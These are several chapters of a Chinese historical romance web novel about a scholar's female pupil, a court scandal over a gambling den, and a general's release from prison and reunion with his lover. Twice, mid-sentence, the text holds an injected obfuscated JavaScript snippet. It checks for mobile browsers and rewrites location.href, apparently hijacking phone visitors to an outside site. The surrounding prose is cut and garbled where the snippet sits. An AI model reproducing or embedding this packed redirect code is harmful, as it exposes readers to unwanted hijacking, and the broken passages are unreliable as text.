只因金老板一方面爱棋成痴,另一方面,他虽为商人却一心贪慕文人虚名,遂一心拜明景崇为师,愿其教授棋道。可明景崇深知金老板所做勾当,虽有教无类,也不愿受其驱使。 直到,那晚一声炸响…… “你说的不错,”深邃的眼眸沉了沉,眉梢笑意却不减,“只可惜你是个女儿身,读书明理固然是好,可到底难成大业……” “先生这话错了。”沈绾闻言,秀眉一蹙,“天下人都道先生是博学大儒,怎的也有那些酸腐偏见?您既不分尊贵卑贱、不论身份种族,都愿施教,女儿家为何不行? 要我说,历朝历代的女子是被那些陈腐教条给困住了,所以才难以有所作为,是这世道没有给女子机会,并非女子真的不如男子。先生心怀天下,定有治国理想,盛世宏图,您若愿意,我想同您打个赌。” “哦?”老者来了兴趣,“赌什么?” “倘若先生不吝赐教,授我诗书,沈绾有志,此生定能将您心中所愿变为现实。” 天地辽远,孤云飘渺,定定女音回荡在苍野间,久久不息。 远处残阳不经绕过青山,给初春乡野铺上一层耀眼金纱。 “好!”良久,明景崇眸中闪过亮光,拊掌激叹,“的确是老夫狭隘了!今日这个赌约我记下了。 自此,我授你毕生所学,你还我盛世之景!” 沈绾一怔,忙郑重叩拜行礼,“弟子沈绾,拜见师父!” ** 御马司官差征收草料银无果,反被刁民所伤,这事很快传遍司里。 三爷因伤势严重,寻了大夫居家休养,自是没工夫再过问其他事宜。 是以魏公公寿辰这天,前来贺寿之人皆屏息凝神,打起了十二分精神,生怕惹这位祖宗不快。 好在魏公公并未多说什么,还颇为和蔼地提及要送些药膏去三爷府上,一片慈爱关切之心让众人私下舒了口气。 寿宴本就在魏公公私宅置办,到了晚间,贺寿之人三三两两散去,偌大府宅重又恢复静谧。 魏公公今年已七十有三,一头稀疏的头发早已花白,闹了大半日,身子骨早已疲乏,此刻躺在书房摇椅上闭目养神,左右各有两名妙龄丫鬟为他捶腿。 “干爹,让儿子来吧。”说话的是胡监官,他当初从一名普通的洒扫太监坐到今日位置,自是少不了这位干爹的提携。 接过丫鬟手中的活,胡监官体贴蹲下身仔细揉按,技巧极为娴熟,房中一时只听得椅上之人匀长的呼吸声。 “干爹,儿子知道您心里有气,下面那帮刁民确实可恶,派去的人又不成事,咱们可得好好想个法子治一治。” 魏公公阖目唔了声,声音尖细却带着沙哑,“治?你想怎么个治法?” 胡监官听出干爹话中另含深意,一时没有答话。 “你以为光凭几个刁民就能成事?”魏公公语调缓慢,却铿锵有力,“西盘街的铺子是怎么炸的?三儿的眼睛又是怎么瞎的?这桩桩件件蹊跷得很,背后的水深着呢。” “那……”胡监官本是想过来献殷勤,这会儿听干爹这番论调,一时犯了难,“那依干爹的意思,就这么放任不管?” “管,是自然要管。”魏公公叹了口气,缓缓睁开眼,“只是,轮不到咱们管。” 胡监官尚自摸不着头脑,忽听魏公公道:“什么时辰了?” “回干爹,快戌时了。” 魏公公双臂支着扶椅,欲要起身,胡监官见状忙弯腰搀扶。 “皇上这个时辰折子也快批完了,我也该进宫伺候。” 胡监官是个极有眼力见的,忙推门朝外传唤,“来人,备轿!” 魏公公轻笑了声,苍老的眼珠幽深如古井,“你是个机灵的,可光机灵也成不了事。咱们当奴才的只需记住一条,那就是万事以主子为重。” “是,儿子明白。” “不,你不明白。”魏公公负手几步,走到窗台下。 正值一轮明月高挂,在窗前流下玉带华光。 魏公公望向夜空,目光不知落到哪里,忽而叹道:“你们那些心思,以为我都不知道?我老了,那些个银子,我是带不走的,你们也带不走,咱们这些没了根的人,是注定逃不开宫里。 外面闹得天翻地覆,不过是新朝换旧朝,换了个主子,咱们当奴才的依旧是奴才,兜里的银子合该孝敬主子。 世人都以为皇上坐拥天下,金银财宝享之不尽,可国朝礼法自有定数,内库那点银子若没有咱们这些奴才定期补上,皇上又如何当的畅快?所以他们要闹,就让他们闹吧,咱们只需把份内事情做好,也就成了。” “干爹,轿子到了。”有小太监在外低唤。 “干爹,儿子明白了。”胡监官沉了眉,正色道,“儿子这就扶您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833986|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进宫。” 魏公公整了整衣领,由胡监官扶着出门上轿。 宫殿长廊蜿蜒,魏公公一路步行,刚走到金殿门口,忽听里间传来一声怒斥:“南部刚平了茂州匪乱,北方又出了暴乱,民间流言纷纷,难道我大靖离了他耶齐烈,就当真无人可用了?” “臣无能!” 这是耶齐格和拓摩旧部在私议国事。 “去查,这些个流言都是从哪冒出来的!” “是。” 魏公公低垂眉眼,立于门廊值守,忽见远处一小太监匆忙跑来,“公公,皇后娘娘身子不适,想请皇上过去看看。” 侍候在耶齐格身边这么久,魏公公深知这位主子极重子嗣,即便此刻国事紧急,可也架不住皇嗣。 “在这候着,我去通传。”魏公公低声吩咐,转身进殿。 不多时,耶齐格沉着脸,大步跨着出了金殿。 ** 这晚月华如水,同样朗照在李家村每一户农家的窗台上。 其中一户农房中烛火如豆,少女正襟端坐,于灯下静听老者教诲。 原来自那日一闹,李大山感念明景崇恩义,又得知他暂无定所,便干脆留他在自家暂住。明景崇也不推脱,于是,这里就成了师徒二人每日碰面的地点。 “师父,如今天下之势,您怎么看?” 明景崇捋须吟笑,“天下之势,合久必分,分久必合,大靖立朝不久,且尚未完全占领中原,你若问我往后之势,我只能回答,尚待时机,方可一统。” “谁来一统?” “得道之人。” “何为得道之人?” 明景崇笑而不答,岔开另一话题,“上次那些催税官差横征暴敛,你认为根源在何处?” 沈绾想了想:“自是上位者不知节制御下,昏聩无道之故。” 李大山在旁接言:“不错,这帮蛮夷自打侵占中原,没少欺负咱们老百姓。” “大山,你再好好想想,百姓的穷苦真的只是源自拓摩入侵吗?” 明景崇这番问话,让李大山不由一默,百姓的困苦,似乎……由来已久。 “是啊,那些苛捐杂税其实自前朝就已经存在,”大山想了想后道,“只不过那些蛮夷手段更甚,逼得更紧而已。” “正是,”明景崇道,“古往今来,变的是王朝统治,不变的是芸芸众生。哪怕是中原人统治的王朝,一旦离了民心,也同样会被潮流湮覆。” 沈绾心中不由一震,“师父的意思是……大胤亡国、拓摩入侵,都是必然,那、那就没有法子改变?” “有,但不能操之过急。”明景崇觑了眼沈绾,叹道:“你如今的性子还太过急躁,上次炸毁的不过是一间铺子,可天下病灶尚在、根瘤未除,若想改变,非一朝一夕可得。” 沈绾长睫一眨,不由想到尚在牢狱的谢翊,“请师父指点。” 明景崇深深看了眼沈绾,起身踱步道:“天行有常,不为尧存,不为桀亡。历代王朝大势更迭,正如春秋冬夏循天道嬗递,非一国一姓可挡。所谓千秋万岁、万寿无疆皆是空话,天下之道,莫若应之以治则吉,应之以乱则凶。” 沈绾若有所思,“师父的意思是……循天道而行?” 默了默,水眸陡然一亮,“师父方才所说民心,徒儿斗胆一猜,这所谓‘得道’,即是得民心者方得道。” 屋中静谧,忽听一朵烛花炸响,明景崇捋了捋长须,眼中赞许不言自明。 “天色不早,你也该回去了。” 33. 第三十三章 春水皱 听师父这样说,沈绾也自知不便再待下去,正要出门,忽听大山说:“天黑路不好走,我、我送你。” 沈绾看了眼外面天色,虽有朗月高照,可想起二柱爷孙俩,还是心有余悸,遂点头:“也好,劳烦李大哥了。” 李大山挠挠头,只嗯了声,从外头寻了辆牛车。 他性子沉闷,一路上没什么话,更是不知沈绾家住哪里,只这么闷头陪她走着。 二人赶在宵禁前入了城,李大山驾着牛车,晃晃悠悠行驶在阒静的街道上。 今晚的月色的确好得不像话。 他身形高大,影子被月光拉得又高又长,视线倏尔一偏,落在青石板路两道影子上。 沈绾坐在车后,他的影子比她的高出一头还多,初时还隔着距离,可转过一处街角,那两道影子竟莫名交叠在一处。 李大山脸侧的肌肉极不自然地抽动一下,转而别开目光。 “李大哥,你怎么了?”沈绾好奇地望向他。 李大山虽然皮肤黝黑,可五官长得并不丑,反而是极具野性力量感,只是他的性子同当年的谢翊一样闷冷,故而看上去总有股生人勿进的气质。 “没什么。” 二人又陷入沉寂。 “那个……”沈绾素来不喜这种沉闷的气氛,绞着脑袋随口起了个话题,“李大哥,你家中一直都是你一个人吗?” “嗯。”李大山点头,“我是孤儿,从小吃百家饭长大。” 沈绾颇为意外,“怪不得你这般为乡亲们出头,他们外出避难,只有你留了下来,就不怕被官差捉了去?” “不怕。”李大山嘴角绷直,凝视前方,“我一个人惯了,无牵无挂,随时都可以豁出这条命,就算是死了,乡亲们能为我敛尸下葬已算是照拂。” 他身上的孤寂感太过强烈,沈绾不由喉头一涩,“李大哥,既然现在我们已经是朋友了,那你就不是一个人。” 她侧眸望向他,目光真挚热烈,“你若是出事,至少我会为此难过。所以,不管何时,请好好爱惜自己。” 李大山眸光一滞,想要转头看她,却提不起勇气,良久,只低头“嗯”了声。 将军府处在闹市区以东,二人转过两条街市,已然到达。 “你……住在这?”当看清将军府那尊贵显赫的门楣时,李大山不由愣住。 “哦,一直忘记说,我虽在御马司当差,可也是将军府的女婢。”沈绾毫不避讳解释,“这个时辰,城门已经关闭,李大哥不如进府休息一晚,明日再出城吧?” 李大山还未来得及反应,春桃已从侧门小跑出来,“姑娘可算回来了。” “今日因为一些事情耽搁了,你以后不用一直等我。”沈绾笑着解释。 “那怎么成,我得了将军吩咐,每晚是一定要等姑娘回家的。”春桃一双大眼睛又圆又亮,眨巴起来平添了几分娇憨。 沈绾笑了笑,不再同她纠结这点,转而介绍起李大山:“这是我的一位朋友,城门已关,他一时出不了城,能否帮他在府中安排一间住处?明日一早他便离开。” “既是姑娘的朋友,自是没问题。”春桃瞅了眼李大山,在前引路,“跟我来吧。” 当晚,李大山就这么住进了只在说书人口中听过的大将军府,平日里睡的木板床骤然变成了软垫锦被,虽是奢华至极,却是一夜无眠。 ** 几日后,京都衙署突然接到投案,一群人自称是西盘街爆炸案的犯事者。 本以为这桩棘手案终于能够审结,可仔细一问,这伙人居然在认罪同时状告当今亲王——耶齐雷。 京都府尹吓得不轻,本想草草了事,可这案子不知怎的竟上达天听,朝堂一番激论后,由三司会审,主审官正是当今丞相代鄯。 与此同时,街头巷陌不知从何时传出一首童谣: 长嘴鹰,铁缰马,一朝踏碎汉家瓦;北人骑,南人爬,命轻骨贱颠皇家。 这首极具造反意味的歌谣在民间不胫而走,很快自北向南,遍布乡野,老百姓茶余饭后,都在谈论拓摩皇族要屠尽天下汉人之事。 这般含有煽动意味的言论自民间传至庙堂,曾经那些在拓摩招揽下臣服归依的汉人旧臣,此刻竟前所未有地抱成一团。 他们在朝堂本就被那些拓摩臣子压上一头,积压已久的不满借由这个档口全面爆发。 耶齐格身为皇帝,近日来愈发为这些事感到头疼。 这日金殿议事,代鄯捧着一摞卷宗恭敬呈上,里面详细记述了李家村及周边村子农户的供词,劫掠人口、轻贱人命、私设赌坊等罪状一一列述。 金老板身为赌场东家,自是首当其冲。 而其中牵涉的大小官员,多半以拓摩人为主,那些养尊处优的王侯贵戚怎么也没想到,自己会因故被同族之人审判。 也正因如此,朝中汉臣开始口诛笔伐,大议此案性质之恶、影响之大,务必从严追究。 耶齐格倚在鎏金云龙座上,单手撑着额角,静听座下群臣争论。 “皇上,此案若不能公正审理,只怕会失了民心,动摇天下。” “危言耸听!此案不过是因刁民作乱,有司衙门不将其速速定罪,反倒任其攀咬,难不成我拓摩一族就都是罪人吗?” 两派朝臣争执不下,耶齐格的脸色越发难看。 “丞相,此案由你审理,你认为该当如何?” 事情闹这么久,耶齐格自然清楚这赌场案背后的猫腻,虽有心包庇,可到底要顾及朝臣。 当初定下由代鄯审理案情,一来是看中他身居高位、能力出众,由他来主理,无论哪方朝臣都说不出什么;二来他也想借此机会,试一试自己这位肱骨之臣的忠心。 他深知代鄯与谢翊交好,此二人在他逐鹿中原的过程中可称得上左膀右臂,文臣谋定,武将后动,这才有了如今的局面。 而如今谢翊入狱,他也想看一看这位丞相是否愿意揣摩上意,将忠君事主之责高摆在兄弟情谊之上。 见耶齐格发话,代鄯遂拱手上前,“回陛下,此案盘根错节,臣也只是秉公审理上报,赌坊主金万全贿赂官员、大肆敛财,甚至不惜囚禁人口,此乃事实,至于百姓状告之事,臣不敢妄言,具体该如何定夺,还要看陛下天威。” 代鄯一番话说得模糊圆滑,却颇合圣意,耶齐格脸色稍缓了些。 “只是……”代鄯欲言又止,从怀中取出另一份折子,“有一事臣不得不禀告陛下。” 魏公公小步上前接过折子呈上,耶齐格瞥了眼,却并未接过,“丞相有事直言。” 代鄯肃容:“近日来,民间流言纷扰,想必陛下也有所耳闻。北方暴乱并非偶然,据臣查明,自开春来多地旱灾,民心本就不稳,前朝乱党盘踞南部已久,对朝廷虎视眈眈,遂借此机会北上煽动,这才造成了南北联合骚乱之势。如今,若是朝廷任由发展,迟迟不做决断,只怕后患无穷。” 耶齐格眉头暗拧,代鄯所言正是他担忧之事,拓摩入主中原时间不久,南部一些城池也并未攻下,因着一件小案子而闹得天下动荡,实在不值得。 静立在侧的耶齐雷终于按捺不住,轻蔑道:“区区乱党,只要皇上一声令下,本王自可带兵镇压,根本闹不出什么乱子!丞相多虑了。” “并非臣多虑,”代鄯的语气仍旧不急不缓,一副忠心奏对的良臣之态,“自古长久盛世,皆是天下臣民归心,如今因京中案子,致使流言纷纷,让天下百姓误以为我朝圣主无端 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“哼,”耶齐雷忿忿,厉声怒斥,“一个个说得倒是冠冕堂皇,口口声声为了朝廷,可陛下圣明,定不会被你们糊弄。那耶齐烈是公主看中的驸马,公主言之凿凿,不就是为了帮他脱罪? 什么沿袭弊政、摒弃仁德,都是一派胡言!即便赌坊中出现几名乡野少年,那算得了什么大事,怎么就扯上社稷江山?当初胤人独大,我北疆各族被欺凌屠杀的日子,你们难道都忘了?何况这赌场当初也不是我朝所建,他们胤人能做的事,到了我族就十恶不赦了?我看这分明是有人故意混淆视听,意图帮某人脱罪!” 耶齐雷勇武有余,头脑却不足,嘴里虽振振有词,可在场但凡有政治嗅觉的,都知他是强词夺理,根本站不住脚。 耶齐格的头越发疼了。 场面僵持之际,一小黄门从一侧走进,在魏公公身后耳语几句。 魏公公虽竭力按捺,可那张褶皱丛生的脸还是意外僵了几分。 “陛下。”魏公公欲要私语禀报,却听耶齐雷揉着两侧太阳穴,不耐道:“有话就说。” 现在还有什么比眼前乱子更令人糟心? 魏公公顿了顿,虽压低了声音,可朝堂此刻静得可怕,尖细沙哑的声音还是落进前排每个人耳中。 “太学有一众学子闹事,此刻正跪在宫门外,恳求皇上……”说到这,魏公公不由咽了口唾沫,“恳求皇上,秉公持正,大义灭亲,还无辜受害百姓公道。” 最后一根稻草落下,耶齐格胸腔的石头终于沉沉落地。 他知道这案子本不复杂,之所以任其发展,避重就轻,正是出于私心。 他做拓摩之主这么些年,一方面自然是想维护族人,何况涉事的本就有族中贵戚,矛头所指的又是他的亲弟弟,若真的严办,皇族的面子往哪搁;另一方面,他虽看重谢翊,可也绝不允许有人挑战权威,既然耶齐雷当日主动发难,他也想趁此挫挫谢翊的锐气。 可没想到事态愈演愈烈,竟接连引出这么大乱子,即便他心里一万个不情愿,还是要为大局做出抉择。 “传旨。”片刻静默后,耶齐格威严低沉的声音自高座落下。 “我朝立国之初,本就秉持‘天下一家亲’。现今为肃正吏法、平息民怨,凡此案涉事官员,无论身份,皆按国法惩处。大将军谢翊虽有监督不善之过,然念在其战功斐然,只施小惩,即日起官复原职,择日替朕北上,平乱赈灾,安抚民心。” “皇上——”耶齐雷一闻此言,急得牛眼直瞪,正欲开口,忽听耶齐格沉声呵斥: “巴泰王身为亲王,非但不能以身作则,反而助纣为虐,即日起,责令罚俸三年,圈禁府宅,非诏不得外踏一步!” 34. [锁] [此章节已锁] 直到耶齐格的谕令重重落下,这场牵连甚广的案件才彻底落下帷幕。 金老板其实并未明确供认与耶齐雷的牵扯,耶齐格也就顺水推舟,只以受人蒙蔽之过追责,罚俸圈禁这种惩戒,在不明真相的世人看来已然是大惩。 西盘街那处废墟自是无人再问津。金老板却没那么幸运,被判斩首,平日里朝中那些作威作福的皇戚权贵经这么一打压,顿时如打蔫的茄子,也不再翻腾。 京都城内,饶是外面春光如画,可内狱透不进一丝春色,依旧潮湿阴冷,不见日光。 沉重的铁链不断摩擦,只听哐啷一声,铁锁应声而开。 代鄯徐步踏进,只见牢中之人虽身着囚衣,却一脸闲适倚坐在墙角,双目微合,似在小憩。 “唉呀,真是同人不同命呐!”代鄯拉长尾音,摇头作叹,“这些日子为你忙得天翻地覆,你却在这躲清闲。” 谢翊拨开眼前覆着的两片树叶,抻了抻腰背,“都结束了?” “是啊。”代鄯双手抱前,笑叹:“阿烈,你这盘棋下的也太大了。” 又是童谣,又是暴乱,当初谢翊同他谋划这些的时候,属实把他吓了一跳。 谢翊利索起身,掸了掸身上灰尘,“还是你运作的好,白衣诸葛,名不虚传。” 代鄯刚要说话,只听门外笑声传来:“你们二位这互相吹捧的功夫,可真是不相上下。” 女音清脆,乌兰朵一身红衣劲装,飒爽明媚,乍看之下倒不像是个公主。 “你怎么来了?”谢翊有些意外,侧目瞥了眼代鄯,后者讪讪耸了耸肩,“人家也是出于关心,毕竟出了不少力呢。” 谢翊面容沉静,虽然他的计划里本没有乌兰朵,可听代鄯这样说,还是拱手为礼,说了句“多谢。” 乌兰朵下巴一扬,“费了半天力,就换得两个字,你就这么个道谢法?” 她虽清楚谢翊沉冷的性子,可到底是小女儿家心性,心里一时想到什么,也就说什么。 “……” 谢翊仍旧默着,他实在不知道该多说些什么,道谢而已,意思到了也就罢了,何况他性子本就如此,那些哄小姑娘开心的话术他本就没多少研究。 “罢了。”乌兰朵见他没有多言的意思,无奈摆手,“我也是看不惯那些人作威作福,就当是做善事了。只是没想到,你原来早有谋划?” 谢翊脸上看不出情绪,一时没有接话。 见气氛一度沉默,代鄯握拳在唇边轻咳了声,“那个,今日是来接阿烈出狱的,咱们还是先出去,有话咱们路上慢慢聊。” 谢翊应了声,简单梳洗一番,又换了身干净衣服,三人穿过暗长的甬道,由狱头引着出了狱门。 说来也巧,这狱头正是当初看守沈绾的那位,他深知这会儿眼前三人都是身份极为尊贵的人物,自是不敢怠慢,只想着好生将人送出去,结了这差事。 眼看快到甬道口,谢翊忽然止了步子。 “将军,这边请。”老狱头佝腰偻背,作势朝门口指引,却见谢翊并未理会,只扫了眼立在旁侧的一名狱卒,遂即半压左眉,轻掀薄唇,“这位小大人可是姓王?” 那狱卒以为自己哪里得了谢翊青眼,毕竟谢翊虽在狱里,可他们一直好吃好喝待着,未曾轻怠,忙谄媚赔笑:“将军折煞小的了,小人正是姓王。” “啧,”谢翊皱眉,“这个姓不好,犯了忌讳。” 此话一出,不仅老狱头和王狱卒摸不着头脑,就连代鄯和乌兰朵都疑惑,看不懂谢翊在挑哪门子刺? “我拓摩旧部即称王庭,你这姓犯了忌讳,” 谢翊不疾不徐丢下一句,“我看你不如改个姓,就……姓狗,如何?” “将军!”王狱卒脸色煞白,这犯忌讳的名头实在太过牵强,甚至八杆子打不到一处,不知自己哪里惹了这位爷,连忙下跪磕头,“小的——” 正要哭丧着脸求饶,忽见老狱头朝自己暗使眼色,只好将嘴边的话咽了回去。 “怎么,不喜欢本将军赐姓?” 谢翊冷睨了眼,上前几步,不经将手搭在对方肩上,看上去毫不经意的动作,却在王狱卒那句“不知小的哪里做错”后,稍一使力,半个膀子就这么被卸了下来。 谢翊刚一松开手,那王狱卒便如搅烂的稀泥,彻底瘫倒在地。 “今早饭食不错。”谢翊忽没头没脑来了句。 老狱头早已吓得冷汗涔涔,虽摸不准谢翊用意,但到底当了这么些年差事,勉强镇定回话:“圣上仁德,将军又乃国之柱石,即便一时到了我们这里,小的们也处处不敢怠慢。” “嗯,今日本将军出狱,也算是件喜事。”谢翊视线重又落回王狱卒身上,冷不丁道:“这位小大人也算与我有缘,你们按照本将军今早的餐例,也赏给小大人一份。” 老狱卒的脑袋因这句莫名其妙的话乱成了浆糊,正要应下,又听谢翊轻启薄唇,“只是……”他顿了顿,幽寒的眸里似淬着无数冰针,“务必将饭食放置在香案上供奉七天,以显示你们对本王的恭敬之心,然后让这位小大人一粒不落地吃下去。” “听明白了吗?”声线陡然变冷,老狱头忙打寒颤,连连应声:“是是是,小的明白!” 谢翊不再多言,大步迈向门口,代鄯与乌兰朵对视一眼,皆是一头雾水。 老狱头一路再不敢多言,硬是撑着虚浮的脚步穿过院内重重栅门,在前头带路。 这时节天气回暖,普通粥食放置七天定然馊了,也不知那姓王,不对,姓狗的小子怎么就惹上了这位爷? 私下正想着,已然到了大门口。 谢翊刚跨出步,一眼瞧见门外等候的华盖马车,马车停在一处矮墙下,上面爬满了胭脂色的蔷薇。 一阵微风吹过,花落如雨,落英缤纷,沈绾身着云水蓝薄衫,外罩藕色纱衣,下系一条缠枝暗纹褶裙,静静立在花雨中。 花瓣轻吻发丝,春风拂过裙摆,将宛如出尘仙子的人儿深深刻进幽眸。 谢翊心脏忽地一顿。 分别了这些日子,心心念念的人骤然出现在眼前,他骨头缝里都在叫嚣:想她,想她,想她。 看清沈绾的那一刻,老狱头心头那点迷雾顿时散去。 他自是记得沈绾的,当初她被关在这里,那王狱卒没少克扣饭菜、刻意刁难。 真是因果报应。 “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863793|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自来了?”谢翊踏步走去,直到在沈绾面前站定,一双曜黑的眸子溢满温柔。 “将军瘦了。”沈绾轻语,眼底似是揉碎满池春漪,含着说不尽的柔情缱绻。 “唔,想你想的。” “啧,”代鄯忍不住咂舌,不由清了清嗓,“那个,我们还在这呢。” 这些肉麻话他是怎么说出来?不是性子冷傲,不懂哄人?骗鬼呢! 乌兰朵脸色微微僵了僵,但那点不快转瞬即逝,继而拖着懒洋洋的清音:“咱们就一直站着说话啊?” 沈绾忙道:“为迎接将军出狱,早已在府中备下酒菜,丞相大人和公主也一起吧?人多热闹,也给咱们府里冲冲霉运。” 谢翊心里有些别扭,他好不容易出来,只想和她贴贴抱抱,找这么多人做什么?可既然沈绾这样说,他也没了拒绝的理由。 “好啊,我也一直想尝一尝将军府的手艺。”乌兰朵应得干脆。 代鄯觑了眼谢翊,一副看好戏的模样:“既然如此,那我也恭敬不如从命,只是我得先回趟府里。” 沈绾刚想说些什么,手心蓦地被握住。 “我们先走。”谢翊踏上马凳,随即牵过沈绾,拉她登上车舆。 “公主也同我们一道吧?”沈绾转过头问。 “不用,她自己骑了马。”谢翊旋即打断,眼神示意不远处拴着的红马。 “……”乌兰朵语凝,一口银牙紧咬,“是啊,我还是喜欢自己骑马。” 看着乌兰朵负气的背影,沈绾心里有些不是滋味。 驾车小厮一声吆喝,马蹄踏起,车辙碾过石子辘辘前行。 “将军,公主她……唔……”沈绾刚欲开口,忽被横过来的大掌拦腰抱入怀中,薄唇欺上,同往日每次亲吻一样,将她的呼吸全部侵吞入腹。 “阿鸾……我好想你,你想我没?”炙热的唇瓣在她耳侧脖颈流连,继而即转直下,往深处探入。 湿热的唇瓣舔舐吮吻,印下朵朵红痕,冶丽淫/靡,沈绾水眸失焦,呆呆望着马车顶棚,好半天才从喉间逸出一声“嗯”。 她自然是想他的,但比起想念,更多的是担心,毕竟此事因她而起,她到底是不想连累他,更不想让自己心生愧意。 谢翊不管这么多,听见她娇娇地应了声,唇边笑意越绽越大,吻的也越发痴迷。 大手在纤薄脊背后上下摩挲,心里也似有团火在疯狂燃烧,他恨不得扒了手下这些碍事的布料,将她整个吻遍,可又怕自己的孟浪吓到她。 毕竟争取到今天的局面实属不易,他生怕一个没控制,将她彻底惹恼,到时她狠了心撂开他,他就真的完了。 沈绾胸口剧烈起伏,残存的意识不断惊鸣警告,不可以再任他妄为下去。 可身体的反应比脑子诚实,清冽的气息、惑人的喘息、灼烫的温度,没有一样不在刺激着她的神经。 “将军,我……”沈绾连开口的声音都带着娇软,简直快沁出水来。 身前的男人勾了勾唇,动作虽缓,可所到之处无不掀起燎原之火,沈绾愈发招架不住。 “将军,”车厢外,小厮的声音忽不合时宜响起,“咱们到了。” 35. 第三十五章 满堂客 水眸一睁,如梦初醒,身前衣襟早已被谢翊拱得不像话,小脸上满含春色,朱唇微肿,这回她是再没力气逃下车。 反观谢翊,衣冠整齐,一脸餍足,依依不舍从她身前坐起。 沈绾又羞又臊,轻嗔了声:“混蛋。” 她声音娇柔,落入耳中似撒娇般,谢翊浑不在意,满面春风地帮她整理起衣襟,没脸没皮道:“我是混蛋,否则怎么把你绑在身边?” 沈绾瞪了他一眼,没力气与他争论,只好做罢。 刚一下车,双腿不由一软,谢翊眼疾手快,将人扶住,旋即弯腰揽膝,将人打横抱起。 门口值守的小厮丫鬟忙垂下眼皮,不敢乱看一眼。 沈绾急得双颊绯红:“你放我下来!” “不放。”谢翊双臂往里一箍,沈绾身子瞬间往他怀里靠紧,像要把她整个嵌进身体,“我早就想抱你了。” 男人说得认真,可动作却是无赖。 沈绾无奈,只好将头埋低低的,虽说府上奴仆不多,可青天白日,也怪羞人的。 进了正厅谢翊才将人放下,沈绾脚一沾地,忙趁机拔腿开溜,他不曾设防,被她推一踉跄。 见她羞得捂脸而逃,谢翊舌尖顶了顶牙根,忽觉心头痒得难受。 ** 乌兰朵半路折道,想起前些日子刚得了两坛好酒,阿姐叮嘱让她转赠给谢翊,今日正好赶巧,她索性拿了过来,刚打马跳下,代鄯的马车也随之赶到。 沈绾提着裙裾,出府门迎接。回京都这么久,她还是头一回觉得心情轻快。 春和景明,有二三友人相聚,乃天下一大乐事,仿佛从前那些阴霾和不快,在这一刻通通消融瓦解。 “三姐姐!”待看清从马车上下来的女子,沈绾眼睛一亮,原来代鄯将沈葭也接了来。 “阿鸾。”沈葭握住沈绾来搀扶的手,唇角噙着浅浅笑意。 沈绾满眼感激看向代鄯,欠身行礼,“方才只以为丞相大人回去处理公务,没想到是回去接人,沈绾在此拜谢。” 代鄯笑得如沐春风:“今日为阿烈接风,定要热热闹闹的才好!” 众人依次落座,沈绾早就张罗好一应菜肴,领着春桃一排丫头上菜。 菜色虽不奢豪,但一看就知道是用了心思的,除了地道的京都菜和北疆菜,还有一些清淡的江南菜式,看起来很是可口。 “阿鸾,你也坐下。”谢翊示意身边空位,她自是要坐到他身边来。 “这……”沈绾犹豫,她的身份毕竟与他们不同,谢翊、代鄯、乌兰朵,哪个不是当朝人物,她一介女奴怎好与他们同桌? “今日既是私聚,也不必讲究那些虚礼,沈姑娘一同落座吧。”代鄯拿不准乌兰朵的意思,不忘试探一句:“公主不介意吧?” 乌兰朵注意力一半被桌上的菜肴吸引了去,闻言略抬眼皮,不甚在意道:“人家主人都发话了,我介意什么,快开席吧!” 沈绾见状,也不再推辞,大大方方坐下,只是没有挨着谢翊,只是另搬了把椅子同沈葭坐在下首。 谢翊的眉头微沉了沉,倒也没有说什么。 “今日是个好日子,咱们同饮一杯。”代鄯率先招呼,众人举杯,一饮而尽,桌上气氛顿时松快不少。 “这酒真是不错!”代鄯品了口,咂摸道。 乌兰朵无不得意:“这可是外邦进贡的御酒,你可悠着点。” 她和代鄯因早年一些际遇,相识多年,因此关系很是熟稔,说起话来自然也不摆那些虚架子,“阿姐说这是赠给烈将军的,今日算你运气好,有了口福。” 听是皇后相赠,代鄯虽隐觉哪里奇怪,可当下也没有细究,毕竟乌兰朵是她亲妹妹,想必也不会有什么差错。 “我这些日子可是费了不少心思,这会儿蹭些酒喝,应该不过分吧?”代鄯看了眼谢翊,笑眯眯道,“说起来,这次多亏了公主殿下,真不愧是女中豪杰,当堂仗义执言,字字句句直戳要点,令人佩服!” “少来这套。”乌兰朵颇为嫌弃地摆摆手,她最受不惯代鄯虚头巴脑的夸赞,“你教我说的那些文绉绉的词,我只能背个七七八八,不过道理终归是一样。这案子我也是彻彻底底查过了,那些人倚仗权势欺压无辜百姓,我也确实看不惯!” 代鄯煦煦笑了笑,当初发现乌兰朵也在查案,他心里就有了打算,既然自己不能直言,那这“谏臣”角色由乌兰朵来当再合适不过。 她身份特殊,姐姐是中宫之首,父亲又是拓摩盟友,耶齐格心里即便再不快活也不会迁怒。 心里正琢磨着,只见谢翊起身,朝乌兰朵道:“公主深明大义,即便不是为了谢某,我也要代那些百姓敬公主一杯。多谢公主!” 谢翊说得极为郑重,举杯一饮而尽,这句道谢也满含诚意,乌兰朵扬了扬下巴,起身回礼,“这才是谢人的方式嘛,将军这谢我就收下了,那下次来府上,我要坐你的马车同行,你答不答应?” “不行。”谢翊面容淡冷,想也没想,拒绝得干脆。 “……” 乌兰朵脑门顿时挂满黑线。 这人要不要这么冷情,她不要面子的? “公主要坐马车,可以同我一道啊,我府上那辆马车又大又宽敞。”代鄯笑嘻嘻岔开话题,随手指了道菜,“呃,这菜看起来不错,似乎是道江南名菜。阿烈,你尝尝这个。” 